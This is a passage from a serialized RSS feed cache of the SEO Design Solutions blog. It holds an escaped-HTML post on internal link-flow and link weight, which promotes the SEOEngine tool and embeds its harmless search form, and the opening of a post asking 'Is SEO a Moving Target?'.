450px\&quot;&gt;&lt;a href=\&quot;http://www.seodesignsolutions.com/blog/seo-consulting/which-links-pass-the-most-weight-in-search-engines/\&quot;&gt;&lt;img class=\&quot;size-full wp-image-9014\&quot; title=\&quot;link-weight\&quot; src=\&quot;http://www.seodesignsolutions.com/blog/wp-content/uploads/2011/11/link-weight.jpg\&quot; alt=\&quot;On Page Link-Flow and Link Weight\&quot; width=\&quot;440\&quot; height=\&quot;300\&quot; /&gt;&lt;/a&gt;&lt;p class=\&quot;wp-caption-text\&quot;&gt;Which Links Pass the Most Link-Flow and Link Weight?&lt;/p&gt;&lt;/div&gt;\n&lt;p&gt;However, before you initiate any type of off page SEO (building inbound links); make sure that you aren’t building your internal links by relying on minimal navigational links alone.&lt;/p&gt;\n&lt;p&gt;If you fail to map out your on page elements, it’s the equivalent of trying to fill a &lt;a href=\&quot;http://www.seodesignsolutions.com/blog/seo/dealing-with-link-loss/\&quot;&gt;leaky bucket&lt;/a&gt; full of water to no avail. No matter how much water you pour into it, the bigger the puddle on the floor. In essence, the container becomes null (regardless of the volume being poured into it).&lt;span id=\&quot;more-9012\&quot;&gt;&lt;/span&gt;&lt;/p&gt;\n&lt;p&gt;This is often the case with most SEO practitioners who fall into the vicious cycle of relying heavily on &lt;a href=\&quot;http://www.seodesignsolutions.com/blog/search-engine-optimization-myths/on-page-off-page-seo/\&quot;&gt;off page ranking factor&lt;/a&gt; (links) to perform the heavy lifting and overlook the on page SEO finesse required to create the proper balance.&lt;/p&gt;\n&lt;p&gt;Like the analogy above, within your website, the premise of link-weight and link-flow similar to the bucket.&lt;/p&gt;\n&lt;p&gt;The second layer to this quandary is &lt;strong&gt;the volume of outbound links on a page&lt;/strong&gt; (even if they are to other internal pages) should be balanced by a fair text to link ratio in addition to inbound links from other internal and external pages.&lt;/p&gt;\n&lt;p&gt;For example, a page with 10 outbound links is 10 times stronger than a page with 100 outbound / internal links. Which would you rather have boosting your internal pages? More on that later&amp;#8230;&lt;/p&gt;\n&lt;p&gt;During the interim, feel free to peruse related posts on the topic below:&lt;/p&gt;\n&lt;ul&gt;\n&lt;li&gt;&lt;a href=\&quot;http://www.seodesignsolutions.com/blog/link-building/seo-link-building-understanding-volume-velocity-and-diversity/\&quot;&gt;Understanding Link Volume Velocity and Diversity&lt;/a&gt;&lt;/li&gt;\n&lt;li&gt;&lt;a href=\&quot;http://www.seodesignsolutions.com/blog/link-building/balancing-link-diversity-link-velocity-and-link-volume/\&quot;&gt;Balancing Link Velocity and Link Volume&lt;/a&gt;&lt;/li&gt;\n&lt;li&gt;&lt;a href=\&quot;http://www.seodesignsolutions.com/blog/seo-videos/google-website-analysis-live-site-review/\&quot;&gt;Google Website Analysis &amp;#8211; Live Site Review&lt;/a&gt;&lt;/li&gt;\n&lt;/ul&gt;\n&lt;h3&gt;Does a link count on the page more than once?&lt;/h3&gt;\n&lt;p&gt;Yes, a link does count on the page more than once and there is a distinct difference between the amount of link-flow from a link in the navigation, footer or sidebar, an image based “&lt;a href=\&quot;http://www.seodesignsolutions.com/blog/seo/using-server-side-includes-and-alt-attributes-for-seo/\&quot;&gt;alt attribute link&lt;/a&gt;&amp;#8221; and a &lt;a href=\&quot;http://www.seodesignsolutions.com/blog/link-building/link-building-seo-guide/\&quot;&gt;contextual link&lt;/a&gt; “a text link linked amidst supporting semantically related keywords”.&lt;/p&gt;\n&lt;p&gt;Fortunately for advanced SEO’s who map link flow and shingles as part of the on page SEO process, there are tools like SEOEngine that (1) crawl, analyze and provide invaluable feedback on the link-flow percentages of each page in your website (2) whether or not the shingles (groups of words) are aligned with the market focus (the purpose of the page) as well as (3) how many inbound and / or external links are present or (4) whether or not the market focus is supported by sufficient link-flow – in addition to dozens of other critical metrics; and then translates it into a 1 out of 100 scoring system.&lt;br /&gt;\n      &lt;!--&lt;br /&gt;\n      *******************************&lt;br /&gt;\n      * START SEO Engine(TM) SEARCH FORM&lt;br /&gt;\n      *&lt;br /&gt;\n      * Subject to SEO Engine(TM) Terms of Service (TOS) found at \'http://www.seoengine.com/terms.htm\'.&lt;br /&gt;\n      * Do not modify or alter this Search Bar in any way.  Must be displayed as shown at:&lt;br /&gt;\n      *&lt;br /&gt;\n      * \'http://www.seoengine.com/free-seo-search-bar-tool.htm\'&lt;br /&gt;\n      *&lt;br /&gt;\n      * Copyright © 2001-2011 SEOEngine.com. All rights reserved. Patent Pending.&lt;br /&gt;\n      --&gt;&lt;br /&gt;\n      &lt;script type=\&quot;text/javascript\&quot;&gt;\n        function clickSearchBar(searchBar) {&lt;/p&gt;\n&lt;p&gt;        if (searchBar.value == \'Enter Website or URL\') {\n        searchBar.style.color = \'black\';\n        searchBar.value = \'http://\';\n        var range = searchBar.createTextRange();\n        range.move(\'character\', 7);\n        range.select();\n        }&lt;/p&gt;\n&lt;p&gt;        }\n      &lt;/script&gt;  &lt;/p&gt;\n&lt;form method=\&quot;post\&quot; action=\&quot;http://search.seoengine.com/\&quot; enctype=\&quot;application/x-www-form-urlencoded\&quot;&gt;\n        &lt;input type=\&quot;hidden\&quot; name=\&quot;externalSearchForm\&quot; value=\&quot;\&quot; /&gt;&lt;input type=\&quot;hidden\&quot; name=\&quot;affiliateId\&quot; value=\&quot;320\&quot; /&gt;\n&lt;div style=\&quot;font-size: 22px; text-align: center;\&quot;&gt;\n&lt;div style=\&quot;font-weight: bold;\&quot;&gt;Optimize Your Website NOW!&lt;/div&gt;\n&lt;div style=\&quot;margin: 10px 0px 0px 0px;\&quot;&gt;\n            &lt;a href=\&quot;http://www.seoengine.com/\&quot;&gt;&lt;img style=\&quot;border-style: none; top: 5px; position: relative;\&quot; alt=\&quot;SEO Software\&quot; src=\&quot;http://www.seoengine.com/images/seoeng-powered-by.png\&quot;/&gt;&lt;/a&gt;&lt;br /&gt;\n            &lt;input style=\&quot;color: #999990; font-size: 18px; width: 350px; border: 2px solid #999990;\&quot; onkeydown=\&quot;clickSearchBar(this);\&quot; onclick=\&quot;clickSearchBar(this);\&quot; type=\&quot;text\&quot; name=\&quot;website\&quot; value=\&quot;Enter Website or URL\&quot;/&gt;&lt;br /&gt;\n            &lt;input class=\&quot;button\&quot; style=\&quot;font-size: 18px; font-weight: bold;\&quot; type=\&quot;submit\&quot; value=\&quot;GO!\&quot;/&gt;\n          &lt;/div&gt;\n&lt;/p&gt;&lt;/div&gt;\n&lt;p&gt;        &lt;input type=\&quot;text\&quot; style=\&quot;visibility:hidden;display:none;width:99%;text-align:center;\&quot; name=\&quot;do-not-remove\&quot; value=\&quot;Do NOT remove this -- allows users to hit \'enter\' on IE -- this box will not be shown!!\&quot;/&gt;&lt;br /&gt;\n      &lt;/form&gt;\n&lt;p&gt;      &lt;!-- END SEO Engine SEARCH FORM --&gt;&lt;/p&gt;\n&lt;p&gt;    If you&amp;#8217;re curious about your on page SEO score (on a scale of 1-100), enter your domain name in the SEOEngine toolbar above for a behind the scenes look from the eyes of a search engine.&lt;/p&gt;\n&lt;h3&gt;What About First Link Priority?&lt;/h3&gt;\n&lt;p&gt;The notion behind this theory was that the first crawled link was the only one that mattered if you had more than one link to a target landing page (with the same or multiple anchors). My response&amp;#8230;&lt;/p&gt;\n&lt;p&gt;Yes, there is a scoring system that search engines utilize to sort, sift and assign weight in the &lt;a href=\&quot;http://www.seoengine.com/link-flow.htm?affiliateId=320\&quot;&gt;eigenvector&lt;/a&gt;, despite the first link priority suggestion made popular years ago from &lt;a href=\&quot;http://www.leslierohde.com/\&quot;&gt;Leslie Rohde&lt;/a&gt; (whom I have the utmost respect for). Despite the theory, &lt;strong&gt;yes, more than one link on the page passes weight and ranking factor&lt;/strong&gt;, even if those links are to &lt;strong&gt;the same destination page&lt;/strong&gt; and have &lt;strong&gt;the same anchor text&lt;/strong&gt;.&lt;/p&gt;\n&lt;p&gt;Aside from search engine metrics always changing, I can assure you that search engines weight different areas of the page with different integer values (such as the body area and contextual links carrying more weight than footer or links in the sidebar).&lt;/p&gt;\n&lt;p&gt;Not to say that each type of link does not have its place for conversion cues and visual appeal, some more so than others, but you should understand what type of inbound anchor text link flow is required to rank for more competitive keywords.&lt;/p&gt;\n&lt;p&gt;One algorithm that pays particular attention to page layout dubbed &lt;a rel=\&quot;nofollow\&quot; href=\&quot;http://research.microsoft.com/apps/pubs/default.aspx?id=70027\&quot;&gt;VIPS&lt;/a&gt; which is a &lt;a href=\&quot;http://research.microsoft.com/pubs/70027/tr-2003-79.pdf\&quot;&gt;Vision-Based Page Segmentation Algorithm&lt;/a&gt; dating back to 2003. This algorithm uses a top down approach and can intelligently decipher relevance based on visual blocks and degrees of coherence.&lt;/p&gt;\n&lt;p&gt;Let’s just say, things have evolved since then, but layout, positioning, proximity and where content and or links matters based on position on the page to a search engine. The &lt;a href=\&quot;http://www.seoengine.com/?affiliateId=320\&quot;&gt;SEOEngine&lt;/a&gt; does an excellent job of this as well when scoring link-flow within a website based on&lt;em&gt; link type, location, and multivariate shingle analysis&lt;/em&gt; in addition to &lt;em&gt;anchor text&lt;/em&gt;.&lt;/p&gt;\n&lt;h3&gt;Link Value Trumps Link Volume&lt;/h3&gt;\n&lt;p&gt;Sometimes it’s not about the volume of links as much as it is about the efficiency of the website and its propensity to leverage on page link flow properly. Combine this with website silo architecture and a powerful collection of strong, topical backlinks to your silo landing pages and you have a trifecta that makes Wikipedia, Amazon and Fortune 500 companies a ripple in your wake as you devour the top 10 positions on your way to the top.&lt;/p&gt;\n&lt;p&gt;We do with a few hundred links what most do with thousands. Rankings are driven from understanding (a) the proper amount of shingles, internal links and deep links, backed by (b) the amount of trust and authority developed as a byproduct, percolation and time to achieve the authority set in Google (the page in which all other less perfect pages deemed by the algorithm) are measured.&lt;/p&gt;\n&lt;p&gt;By chipping away with semantically aligned topical nodes of content, supporting synonyms and blanketing the relevance landscape, your websites base expands and the process of &lt;a href=\&quot;http://www.seodesignsolutions.com/blog/seo-tips/10-seo-tips-to-triple-keyword-visibility/\&quot;&gt;keyword stemming&lt;/a&gt; is no longer a theory, but a byproduct of tactful content development aligned with on page and off page citation (via internal links)and syndication (validation from citation from off page sources).&lt;/p&gt;\n&lt;p&gt;To keep the post from spilling over into a 4000 word whitepaper, we can continue the conversation at a later date. I plan to create a video to follow up and showcase how (with the proper understanding) you can map and / or correct link-flow imbalance within a website particularly when &lt;a href=\&quot;http://www.seodesignsolutions.com/blog/seo-videos/dws-2-5-update-tools-seo-campaign-management/\&quot;&gt;mapping out shingles&lt;/a&gt; for on page content and internal links, in addition to deep links to create a ranking juggernaut.&lt;/p&gt;\n&lt;p&gt;In the meantime, if you want to schedule an SEO consultation for your website to map out link-flow, &lt;a href=\&quot;http://www.seodesignsolutions.com/seo/\&quot;&gt;visit this page&lt;/a&gt; or &lt;a href=\&quot;mailto:support@seodesignsolutions.com\&quot;&gt;email us&lt;/a&gt; to get started (hourly rate billed at $400/hr).&lt;/p&gt;\n&lt;p&gt;Link-flow is the lifeblood of your website. Once mastered, you will think before you link and understand how each page, each word and &lt;strong&gt;each type of link within a website&lt;/strong&gt; works cohesively to achieve a common goal.&lt;/p&gt;\n&lt;p&gt;In the meantime, we hope you enjoyed our SEO tips and tactics to distinguish your website in search engines from the &lt;a href=\&quot;http://www.seodesignsolutions.com/blog/\&quot;&gt;SEO Design Solutions Blog&lt;/a&gt;.&lt;/p&gt;\n&lt;p&gt;Make sure you follow us on &lt;a href=\&quot;https://twitter.com/#!/Jeffrey_Smith\&quot;&gt;twitter&lt;/a&gt;, like us on &lt;a href=\&quot;http://www.facebook.com/pages/SEO-Design-Solutions/118391624368\&quot;&gt;Facebook&lt;/a&gt; or subscribe to our &lt;a href=\&quot;http://feeds.seodesignsolutions.com/SeoDesignSolutionsBlog\&quot;&gt;RSS feed&lt;/a&gt; for additional search engine optimization tips and techniques.&lt;/p&gt;\n&lt;p&gt;&lt;a href=\&quot;https://plus.google.com/109189625824502979466/?rel=author\&quot; rel=\&quot;author\&quot;&gt; -Jeffrey&lt;/a&gt;&lt;/p&gt;&lt;div class=\&quot;feedflare\&quot;&gt;\n&lt;a href=\&quot;http://feeds.seodesignsolutions.com/~ff/SeoDesignSolutionsBlog?a=sUdzMIoZu7s:x8qmW3lKvo0:yIl2AUoC8zA\&quot;&gt;&lt;img src=\&quot;http://feeds.feedburner.com/~ff/SeoDesignSolutionsBlog?d=yIl2AUoC8zA\&quot; border=\&quot;0\&quot;&gt;&lt;/img&gt;&lt;/a&gt;\n&lt;/div&gt;&lt;img src=\&quot;http://feeds.feedburner.com/~r/SeoDesignSolutionsBlog/~4/sUdzMIoZu7s\&quot; height=\&quot;1\&quot; width=\&quot;1\&quot;/&gt;\&quot;;}s:11:\&quot;description\&quot;;s:369:\&quot;Link weight and link-flow are the most critical on page elements after you (1) map out which keywords you’re targeting (2) mirror the relevance hierarchy through the site architecture through the respective pillars (landing pages) and supporting articles and (3) initiate the citation process via internal linking and off page inbound links. However, before you [...]\&quot;;s:5:\&quot;slash\&quot;;a:1:{s:8:\&quot;comments\&quot;;s:2:\&quot;10\&quot;;}s:10:\&quot;feedburner\&quot;;a:1:{s:8:\&quot;origlink\&quot;;s:105:\&quot;http://www.seodesignsolutions.com/blog/seo-consulting/which-links-pass-the-most-weight-in-search-engines/\&quot;;}s:7:\&quot;summary\&quot;;s:369:\&quot;Link weight and link-flow are the most critical on page elements after you (1) map out which keywords you’re targeting (2) mirror the relevance hierarchy through the site architecture through the respective pillars (landing pages) and supporting articles and (3) initiate the citation process via internal linking and off page inbound links. However, before you [...]\&quot;;s:12:\&quot;atom_content\&quot;;s:12435:\&quot;&lt;p&gt;Link weight and &lt;a href=\&quot;http://www.seodesignsolutions.com/blog/seo-resources/why-internal-links-are-more-important-than-backlinks/\&quot;&gt;link-flow&lt;/a&gt; are the most critical on page elements after you (1) map out which keywords you’re targeting (2) mirror the relevance hierarchy through the site architecture through the respective pillars (landing pages) and supporting articles and (3) initiate the &lt;a href=\&quot;http://www.seodesignsolutions.com/blog/seo/maximizing-market-share-with-seo-modifiers/\&quot;&gt;citation process&lt;/a&gt; via internal linking and off page inbound links.&lt;/p&gt;\n&lt;div id=\&quot;attachment_9014\&quot; class=\&quot;wp-caption aligncenter\&quot; style=\&quot;width: 450px\&quot;&gt;&lt;a href=\&quot;http://www.seodesignsolutions.com/blog/seo-consulting/which-links-pass-the-most-weight-in-search-engines/\&quot;&gt;&lt;img class=\&quot;size-full wp-image-9014\&quot; title=\&quot;link-weight\&quot; src=\&quot;http://www.seodesignsolutions.com/blog/wp-content/uploads/2011/11/link-weight.jpg\&quot; alt=\&quot;On Page Link-Flow and Link Weight\&quot; width=\&quot;440\&quot; height=\&quot;300\&quot; /&gt;&lt;/a&gt;&lt;p class=\&quot;wp-caption-text\&quot;&gt;Which Links Pass the Most Link-Flow and Link Weight?&lt;/p&gt;&lt;/div&gt;\n&lt;p&gt;However, before you initiate any type of off page SEO (building inbound links); make sure that you aren’t building your internal links by relying on minimal navigational links alone.&lt;/p&gt;\n&lt;p&gt;If you fail to map out your on page elements, it’s the equivalent of trying to fill a &lt;a href=\&quot;http://www.seodesignsolutions.com/blog/seo/dealing-with-link-loss/\&quot;&gt;leaky bucket&lt;/a&gt; full of water to no avail. No matter how much water you pour into it, the bigger the puddle on the floor. In essence, the container becomes null (regardless of the volume being poured into it).&lt;span id=\&quot;more-9012\&quot;&gt;&lt;/span&gt;&lt;/p&gt;\n&lt;p&gt;This is often the case with most SEO practitioners who fall into the vicious cycle of relying heavily on &lt;a href=\&quot;http://www.seodesignsolutions.com/blog/search-engine-optimization-myths/on-page-off-page-seo/\&quot;&gt;off page ranking factor&lt;/a&gt; (links) to perform the heavy lifting and overlook the on page SEO finesse required to create the proper balance.&lt;/p&gt;\n&lt;p&gt;Like the analogy above, within your website, the premise of link-weight and link-flow similar to the bucket.&lt;/p&gt;\n&lt;p&gt;The second layer to this quandary is &lt;strong&gt;the volume of outbound links on a page&lt;/strong&gt; (even if they are to other internal pages) should be balanced by a fair text to link ratio in addition to inbound links from other internal and external pages.&lt;/p&gt;\n&lt;p&gt;For example, a page with 10 outbound links is 10 times stronger than a page with 100 outbound / internal links. Which would you rather have boosting your internal pages? More on that later&amp;#8230;&lt;/p&gt;\n&lt;p&gt;During the interim, feel free to peruse related posts on the topic below:&lt;/p&gt;\n&lt;ul&gt;\n&lt;li&gt;&lt;a href=\&quot;http://www.seodesignsolutions.com/blog/link-building/seo-link-building-understanding-volume-velocity-and-diversity/\&quot;&gt;Understanding Link Volume Velocity and Diversity&lt;/a&gt;&lt;/li&gt;\n&lt;li&gt;&lt;a href=\&quot;http://www.seodesignsolutions.com/blog/link-building/balancing-link-diversity-link-velocity-and-link-volume/\&quot;&gt;Balancing Link Velocity and Link Volume&lt;/a&gt;&lt;/li&gt;\n&lt;li&gt;&lt;a href=\&quot;http://www.seodesignsolutions.com/blog/seo-videos/google-website-analysis-live-site-review/\&quot;&gt;Google Website Analysis &amp;#8211; Live Site Review&lt;/a&gt;&lt;/li&gt;\n&lt;/ul&gt;\n&lt;h3&gt;Does a link count on the page more than once?&lt;/h3&gt;\n&lt;p&gt;Yes, a link does count on the page more than once and there is a distinct difference between the amount of link-flow from a link in the navigation, footer or sidebar, an image based “&lt;a href=\&quot;http://www.seodesignsolutions.com/blog/seo/using-server-side-includes-and-alt-attributes-for-seo/\&quot;&gt;alt attribute link&lt;/a&gt;&amp;#8221; and a &lt;a href=\&quot;http://www.seodesignsolutions.com/blog/link-building/link-building-seo-guide/\&quot;&gt;contextual link&lt;/a&gt; “a text link linked amidst supporting semantically related keywords”.&lt;/p&gt;\n&lt;p&gt;Fortunately for advanced SEO’s who map link flow and shingles as part of the on page SEO process, there are tools like SEOEngine that (1) crawl, analyze and provide invaluable feedback on the link-flow percentages of each page in your website (2) whether or not the shingles (groups of words) are aligned with the market focus (the purpose of the page) as well as (3) how many inbound and / or external links are present or (4) whether or not the market focus is supported by sufficient link-flow – in addition to dozens of other critical metrics; and then translates it into a 1 out of 100 scoring system.&lt;br /&gt;\n      &lt;!--&lt;br /&gt;\n      *******************************&lt;br /&gt;\n      * START SEO Engine(TM) SEARCH FORM&lt;br /&gt;\n      *&lt;br /&gt;\n      * Subject to SEO Engine(TM) Terms of Service (TOS) found at \'http://www.seoengine.com/terms.htm\'.&lt;br /&gt;\n      * Do not modify or alter this Search Bar in any way.  Must be displayed as shown at:&lt;br /&gt;\n      *&lt;br /&gt;\n      * \'http://www.seoengine.com/free-seo-search-bar-tool.htm\'&lt;br /&gt;\n      *&lt;br /&gt;\n      * Copyright © 2001-2011 SEOEngine.com. All rights reserved. Patent Pending.&lt;br /&gt;\n      --&gt;&lt;br /&gt;\n      &lt;script type=\&quot;text/javascript\&quot;&gt;\n        function clickSearchBar(searchBar) {&lt;/p&gt;\n&lt;p&gt;        if (searchBar.value == \'Enter Website or URL\') {\n        searchBar.style.color = \'black\';\n        searchBar.value = \'http://\';\n        var range = searchBar.createTextRange();\n        range.move(\'character\', 7);\n        range.select();\n        }&lt;/p&gt;\n&lt;p&gt;        }\n      &lt;/script&gt;  &lt;/p&gt;\n&lt;form method=\&quot;post\&quot; action=\&quot;http://search.seoengine.com/\&quot; enctype=\&quot;application/x-www-form-urlencoded\&quot;&gt;\n        &lt;input type=\&quot;hidden\&quot; name=\&quot;externalSearchForm\&quot; value=\&quot;\&quot; /&gt;&lt;input type=\&quot;hidden\&quot; name=\&quot;affiliateId\&quot; value=\&quot;320\&quot; /&gt;\n&lt;div style=\&quot;font-size: 22px; text-align: center;\&quot;&gt;\n&lt;div style=\&quot;font-weight: bold;\&quot;&gt;Optimize Your Website NOW!&lt;/div&gt;\n&lt;div style=\&quot;margin: 10px 0px 0px 0px;\&quot;&gt;\n            &lt;a href=\&quot;http://www.seoengine.com/\&quot;&gt;&lt;img style=\&quot;border-style: none; top: 5px; position: relative;\&quot; alt=\&quot;SEO Software\&quot; src=\&quot;http://www.seoengine.com/images/seoeng-powered-by.png\&quot;/&gt;&lt;/a&gt;&lt;br /&gt;\n            &lt;input style=\&quot;color: #999990; font-size: 18px; width: 350px; border: 2px solid #999990;\&quot; onkeydown=\&quot;clickSearchBar(this);\&quot; onclick=\&quot;clickSearchBar(this);\&quot; type=\&quot;text\&quot; name=\&quot;website\&quot; value=\&quot;Enter Website or URL\&quot;/&gt;&lt;br /&gt;\n            &lt;input class=\&quot;button\&quot; style=\&quot;font-size: 18px; font-weight: bold;\&quot; type=\&quot;submit\&quot; value=\&quot;GO!\&quot;/&gt;\n          &lt;/div&gt;\n&lt;/p&gt;&lt;/div&gt;\n&lt;p&gt;        &lt;input type=\&quot;text\&quot; style=\&quot;visibility:hidden;display:none;width:99%;text-align:center;\&quot; name=\&quot;do-not-remove\&quot; value=\&quot;Do NOT remove this -- allows users to hit \'enter\' on IE -- this box will not be shown!!\&quot;/&gt;&lt;br /&gt;\n      &lt;/form&gt;\n&lt;p&gt;      &lt;!-- END SEO Engine SEARCH FORM --&gt;&lt;/p&gt;\n&lt;p&gt;    If you&amp;#8217;re curious about your on page SEO score (on a scale of 1-100), enter your domain name in the SEOEngine toolbar above for a behind the scenes look from the eyes of a search engine.&lt;/p&gt;\n&lt;h3&gt;What About First Link Priority?&lt;/h3&gt;\n&lt;p&gt;The notion behind this theory was that the first crawled link was the only one that mattered if you had more than one link to a target landing page (with the same or multiple anchors). My response&amp;#8230;&lt;/p&gt;\n&lt;p&gt;Yes, there is a scoring system that search engines utilize to sort, sift and assign weight in the &lt;a href=\&quot;http://www.seoengine.com/link-flow.htm?affiliateId=320\&quot;&gt;eigenvector&lt;/a&gt;, despite the first link priority suggestion made popular years ago from &lt;a href=\&quot;http://www.leslierohde.com/\&quot;&gt;Leslie Rohde&lt;/a&gt; (whom I have the utmost respect for). Despite the theory, &lt;strong&gt;yes, more than one link on the page passes weight and ranking factor&lt;/strong&gt;, even if those links are to &lt;strong&gt;the same destination page&lt;/strong&gt; and have &lt;strong&gt;the same anchor text&lt;/strong&gt;.&lt;/p&gt;\n&lt;p&gt;Aside from search engine metrics always changing, I can assure you that search engines weight different areas of the page with different integer values (such as the body area and contextual links carrying more weight than footer or links in the sidebar).&lt;/p&gt;\n&lt;p&gt;Not to say that each type of link does not have its place for conversion cues and visual appeal, some more so than others, but you should understand what type of inbound anchor text link flow is required to rank for more competitive keywords.&lt;/p&gt;\n&lt;p&gt;One algorithm that pays particular attention to page layout dubbed &lt;a rel=\&quot;nofollow\&quot; href=\&quot;http://research.microsoft.com/apps/pubs/default.aspx?id=70027\&quot;&gt;VIPS&lt;/a&gt; which is a &lt;a href=\&quot;http://research.microsoft.com/pubs/70027/tr-2003-79.pdf\&quot;&gt;Vision-Based Page Segmentation Algorithm&lt;/a&gt; dating back to 2003. This algorithm uses a top down approach and can intelligently decipher relevance based on visual blocks and degrees of coherence.&lt;/p&gt;\n&lt;p&gt;Let’s just say, things have evolved since then, but layout, positioning, proximity and where content and or links matters based on position on the page to a search engine. The &lt;a href=\&quot;http://www.seoengine.com/?affiliateId=320\&quot;&gt;SEOEngine&lt;/a&gt; does an excellent job of this as well when scoring link-flow within a website based on&lt;em&gt; link type, location, and multivariate shingle analysis&lt;/em&gt; in addition to &lt;em&gt;anchor text&lt;/em&gt;.&lt;/p&gt;\n&lt;h3&gt;Link Value Trumps Link Volume&lt;/h3&gt;\n&lt;p&gt;Sometimes it’s not about the volume of links as much as it is about the efficiency of the website and its propensity to leverage on page link flow properly. Combine this with website silo architecture and a powerful collection of strong, topical backlinks to your silo landing pages and you have a trifecta that makes Wikipedia, Amazon and Fortune 500 companies a ripple in your wake as you devour the top 10 positions on your way to the top.&lt;/p&gt;\n&lt;p&gt;We do with a few hundred links what most do with thousands. Rankings are driven from understanding (a) the proper amount of shingles, internal links and deep links, backed by (b) the amount of trust and authority developed as a byproduct, percolation and time to achieve the authority set in Google (the page in which all other less perfect pages deemed by the algorithm) are measured.&lt;/p&gt;\n&lt;p&gt;By chipping away with semantically aligned topical nodes of content, supporting synonyms and blanketing the relevance landscape, your websites base expands and the process of &lt;a href=\&quot;http://www.seodesignsolutions.com/blog/seo-tips/10-seo-tips-to-triple-keyword-visibility/\&quot;&gt;keyword stemming&lt;/a&gt; is no longer a theory, but a byproduct of tactful content development aligned with on page and off page citation (via internal links)and syndication (validation from citation from off page sources).&lt;/p&gt;\n&lt;p&gt;To keep the post from spilling over into a 4000 word whitepaper, we can continue the conversation at a later date. I plan to create a video to follow up and showcase how (with the proper understanding) you can map and / or correct link-flow imbalance within a website particularly when &lt;a href=\&quot;http://www.seodesignsolutions.com/blog/seo-videos/dws-2-5-update-tools-seo-campaign-management/\&quot;&gt;mapping out shingles&lt;/a&gt; for on page content and internal links, in addition to deep links to create a ranking juggernaut.&lt;/p&gt;\n&lt;p&gt;In the meantime, if you want to schedule an SEO consultation for your website to map out link-flow, &lt;a href=\&quot;http://www.seodesignsolutions.com/seo/\&quot;&gt;visit this page&lt;/a&gt; or &lt;a href=\&quot;mailto:support@seodesignsolutions.com\&quot;&gt;email us&lt;/a&gt; to get started (hourly rate billed at $400/hr).&lt;/p&gt;\n&lt;p&gt;Link-flow is the lifeblood of your website. Once mastered, you will think before you link and understand how each page, each word and &lt;strong&gt;each type of link within a website&lt;/strong&gt; works cohesively to achieve a common goal.&lt;/p&gt;\n&lt;p&gt;In the meantime, we hope you enjoyed our SEO tips and tactics to distinguish your website in search engines from the &lt;a href=\&quot;http://www.seodesignsolutions.com/blog/\&quot;&gt;SEO Design Solutions Blog&lt;/a&gt;.&lt;/p&gt;\n&lt;p&gt;Make sure you follow us on &lt;a href=\&quot;https://twitter.com/#!/Jeffrey_Smith\&quot;&gt;twitter&lt;/a&gt;, like us on &lt;a href=\&quot;http://www.facebook.com/pages/SEO-Design-Solutions/118391624368\&quot;&gt;Facebook&lt;/a&gt; or subscribe to our &lt;a href=\&quot;http://feeds.seodesignsolutions.com/SeoDesignSolutionsBlog\&quot;&gt;RSS feed&lt;/a&gt; for additional search engine optimization tips and techniques.&lt;/p&gt;\n&lt;p&gt;&lt;a href=\&quot;https://plus.google.com/109189625824502979466/?rel=author\&quot; rel=\&quot;author\&quot;&gt; -Jeffrey&lt;/a&gt;&lt;/p&gt;&lt;div class=\&quot;feedflare\&quot;&gt;\n&lt;a href=\&quot;http://feeds.seodesignsolutions.com/~ff/SeoDesignSolutionsBlog?a=sUdzMIoZu7s:x8qmW3lKvo0:yIl2AUoC8zA\&quot;&gt;&lt;img src=\&quot;http://feeds.feedburner.com/~ff/SeoDesignSolutionsBlog?d=yIl2AUoC8zA\&quot; border=\&quot;0\&quot;&gt;&lt;/img&gt;&lt;/a&gt;\n&lt;/div&gt;&lt;img src=\&quot;http://feeds.feedburner.com/~r/SeoDesignSolutionsBlog/~4/sUdzMIoZu7s\&quot; height=\&quot;1\&quot; width=\&quot;1\&quot;/&gt;\&quot;;}i:27;a:12:{s:5:\&quot;title\&quot;;s:23:\&quot;Is SEO a Moving Target?\&quot;;s:4:\&quot;link\&quot;;s:77:\&quot;http://feeds.seodesignsolutions.com/~r/SeoDesignSolutionsBlog/~3/igml2SckFds/\&quot;;s:8:\&quot;category\&quot;;s:116:\&quot;SEOContent Curation or CreationKeyword TargetingPicking the Best KeywordsSEO TargetingWhich Keywords Should I Target\&quot;;s:2:\&quot;dc\&quot;;a:1:{s:7:\&quot;creator\&quot;;s:13:\&quot;Jeffrey_Smith\&quot;;}s:7:\&quot;pubdate\&quot;;s:29:\&quot;Wed, 02 Nov 2011 00:06:45 PDT\&quot;;s:4:\&quot;guid\&quot;;s:46:\&quot;http://www.seodesignsolutions.com/blog/?p=9004\&quot;;s:7:\&quot;content\&quot;;a:1:{s:7:\&quot;encoded\&quot;;s:8647:\&quot;&lt;p&gt;Is SEO a moving target or are you simply shooting blanks in the dark? It’s no surprise that for those of you trying to get your site ranked that you&amp;#8217;ve discovered that SEO is &lt;strong&gt;“subject to change”&lt;/strong&gt; and often on a daily or weekly basis.&lt;/p&gt;\n&lt;div id=\&quot;attachment_9005\&quot; class=\&quot;wp-caption aligncenter\&quot; style=\&quot;width: 434px\&quot;&gt;&lt;a href=\&quot;http://www.seodesignsolutions.com/blog/seo/is-seo-a-moving-target/\&quot;&gt;&lt;img class=\&quot;size-full wp-image-9005\&quot; title=\&quot;is-seo-a-moving-target\&quot; src=\&quot;http://www.seodesignsolutions.com/blog/wp-content/uploads/2011/11/is-seo-a-moving-target.jpg\&quot; alt=\&quot;SEO-Moving-Target\&quot; width=\&quot;424\&quot; height=\&quot;283\&quot; /&gt;&lt;/a&gt;&lt;p class=\&quot;wp-caption-text\&quot;&gt;Ready, Aim, Fire!&lt;/p&gt;&lt;/div&gt;\n&lt;p&gt;From Florida updates to Panda maulings, despite the ups and downs, certain metrics remain intact.&lt;/p&gt;\n&lt;p&gt;As a webmaster, these &lt;strong&gt;evergreen metrics&lt;/strong&gt; are the focal point to remain relevant amidst the rise and fall of questionable &lt;strong&gt;flavor of the month&lt;/strong&gt; SEO methodologies before they get leaked, peak and go the way of overused and abused SEO tactics like keyword stuffing and other dated practices from our fabled list of &lt;a href=\&quot;http://www.seodesignsolutions.com/blog/search-engine-optimization/seo-styles-make-the-fight-10-deadly-seo-techniques-to-avoid/\&quot;&gt;10 SEO techniques to avoid&lt;/a&gt;.&lt;span id=\&quot;more-9004\&quot;&gt;&lt;/span&gt;&lt;/p&gt;\n&lt;p&gt;Search engines are stepping up their game, and so should you. Today’s topic is a refresher on strategy, ROI and scalability when determining which keywords are &lt;a href=\&quot;http://www.seodesignsolutions.com/blog/seo-marketing/wrong-market-wrong-keywords-or-seo-strategy/\&quot;&gt;worthwhile to engage&lt;/a&gt;.&lt;/p&gt;\n&lt;h3&gt;Aim for Lucrative 